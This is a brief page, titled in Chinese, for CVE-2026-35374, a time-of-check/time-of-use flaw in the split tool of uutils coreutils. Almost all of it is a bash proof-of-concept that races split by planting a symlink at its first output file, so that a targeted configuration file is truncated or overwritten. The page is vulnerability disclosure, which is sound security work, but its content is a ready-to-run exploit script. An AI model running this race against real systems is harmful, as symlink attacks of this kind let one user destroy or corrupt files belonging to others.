CVE-2026-35374: uutils coreutils split工具TOCTOU漏洞

#!/bin/bash # PoC for CVE-2026-35374 # Exploiting TOCTOU in uutils coreutils split INPUT_FILE="data.txt" OUTPUT_PREFIX="output" TARGET_FILE="important_config.conf" # Setup environment echo "Sensitive Data" > $TARGET_FILE dd if=/dev/urandom of=$INPUT_FILE bs=1M count=10 # Start split in background split -b 1M $INPUT_FILE $OUTPUT_PREFIX & SPLIT_PID=$! # Race condition: Attempt to swap output with symlink to target while kill -0 $SPLIT_PID 2>/dev/null; do # Check if the first output file is about to be created or created if [ ! -L "${OUTPUT_PREFIX}aa" ] && [ ! -e "${OUTPUT_PREFIX}aa" ]; then # Try to create symlink before split opens the file ln -sf $TARGET_FILE "${OUTPUT_PREFIX}aa" 2>/dev/null fi done wait $SPLIT_PID echo "Check if $TARGET_FILE was truncated..." ls -l $TARGET_FILE